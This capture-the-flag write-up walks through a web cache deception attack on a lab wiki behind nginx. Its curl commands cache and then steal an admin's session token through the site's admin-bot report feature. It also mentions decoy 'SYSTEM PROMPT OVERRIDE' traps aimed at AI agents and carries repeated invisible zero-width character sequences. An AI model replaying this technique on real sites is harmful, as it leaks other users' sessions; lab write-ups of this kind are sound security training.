← Back to Writeups
CUSTOMMediumWeb

Lab 375 — PageFlow — Web Cache Deception via Path Normalization

XESXOR9/10/20264 min read
#web#custom#medium#admin_bot_cache_priming#anti_honeypot_awareness#extension_suffix_cache_bypass#path_normalization_desync#proxy_ignore_headers_abuse#web_cache_deception#linux

Lab 375 — PageFlow — Web Cache Deception via Path Normalization

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: admin_bot_cache_priming, anti_honeypot_awareness, extension_suffix_cache_bypass, path_normalization_desync, proxy_ignore_headers_abuse, web_cache_deception

Summary

Task: collaborative wiki platform behind nginx reverse proxy with aggressive caching, admin bot visits user-submitted URLs. Solution: web cache deception — append .css extension to /api/auth/session to trick nginx into caching admin's authenticated session response, then retrieve cached credentials.

Lab 375 — PageFlow — Web Cache Deception via Path Normalization — Hackadvisor

Description

You are testing PageFlow, a collaborative wiki and knowledge base platform built by FlowBase Technologies. Teams use it to create, edit, and share documents with both internal and external stakeholders. The platform features public document sharing with permalink URLs, full-text search, and an admin panel for platform configuration.

The application uses an nginx reverse proxy for caching and performance optimization. Public-facing document pages are served through an aggressive caching layer.

An admin account holds sensitive platform configuration data, including a secret key. Your goal is to investigate the application's architecture and find a way to obtain the admin's session credentials.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A collaborative wiki platform (Express.js) behind an nginx reverse proxy with aggressive caching. An admin bot visits user-submitted URLs. The goal is to exploit a cache deception vulnerability to steal the admin's session data containing a secret key (flag).

Analysis

  1. Initial reconnaissance:

    • The app is an Express.js (Node.js) application behind nginx/1.25.5 reverse proxy
    • Logged in with user@test.com / password123, got session cookie connect.sid
    • Discovered key pages: /dashboard, /settings, /search, /docs/new, /report, /api/auth/session
    • The /report page is an admin bot feature: "When you submit a report, an administrator will visit the URL you provided to verify the issue"
    • The /api/auth/session endpoint returns JSON with authenticated user info including a token field, with Cache-Control: no-store, private
    • Decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments on every 404 page — correctly identified and ignored ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  2. Caching architecture discovery:

    • Found public document /public/6 ("Infrastructure & Caching Architecture") which revealed:
      • All requests matching /public/* are cached by nginx for 5 minutes (300s TTL)
      • Cache key: full request URI (as-is)
      • Cache headers: X-Cache: HIT or X-Cache: MISS, X-Cache-Key: <uri>
      • Known Limitations: "Cache key uses raw URI without normalization"
      • Session endpoints should never be cached (Cache-Control: no-store)
    • Verified: /public/1 returns X-Cache: HIT, X-Cache-Key: /public/1, Cache-Control: public, max-age=300 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  3. Extension-based caching vulnerability:

    • Discovered nginx has extension-based caching for static file extensions (.css, .js, .png, etc.)
    • Appending a static file extension to ANY path triggers nginx caching:
      • /settings/test.css → HTTP 200, X-Cache: MISS, serves the settings page HTML
      • /api/auth/session/test.css → HTTP 200, X-Cache: MISS, serves the session JSON
    • Path normalization desync: Express.js ignores the extra path segment (treats /api/auth/session/test.css the same as /api/auth/session), while nginx sees the .css extension and applies caching rules
    • nginx is configured with proxy_ignore_headers Cache-Control, so the backend's no-store, private directive is overridden
    • On second request, responses become X-Cache: HIT — even for unauthenticated requests ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm the cache deception primitive

First, verify that appending a .css extension to the session endpoint causes nginx to cache the response:

bash
# Request 1: authenticated — triggers cache MISS and stores response
curl -s -D- "https://TARGET/api/auth/session/test123.css" \
  -b "connect.sid=SESSION_COOKIE"
# Response: X-Cache: MISS, X-Cache-Key: /api/auth/session/test123.css
# Body: {"authenticated":true,"user":{"id":2,...},"token":"..."}

# Request 2: unauthenticated — cache HIT returns previous user's data
curl -s -D- "https://TARGET/api/auth/session/test123.css"
# Response: X-Cache: HIT
# Body: same authenticated response from cache!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Prime the cache with admin's session via the report bot

Submit a unique URL to the admin bot so it visits the session endpoint with a cacheable extension:

bash
# Submit report — admin bot will visit this URL while authenticated
curl -s "https://TARGET/report" \
  -b "connect.sid=SESSION_COOKIE" \
  -d "url=/api/auth/session/pwned42.css&description=broken+link"

Step 3: Retrieve the cached admin session

Wait ~10 seconds for the admin bot to visit the URL, then fetch the cached response: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# Fetch the cached admin session (no authentication needed)
curl -s "https://TARGET/api/auth/session/pwned42.css"

Response:

json
{
  "authenticated": true,
  "user": {
    "id": 1,
    "email": "admin@flowbase.io",
    "display_name": "Sarah Chen",
    "role": "admin"
  },
  "token": "l3Vc3SU5X2EouT2DOV98ISN-5NEIg2yR",
  "secret_key": "FLAG{REDACTED}",
  "platform_role": "super_admin"
}

The admin's session response was cached by nginx under the key /api/auth/session/pwned42.css and served to our unauthenticated request, leaking the flag in the secret_key field. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍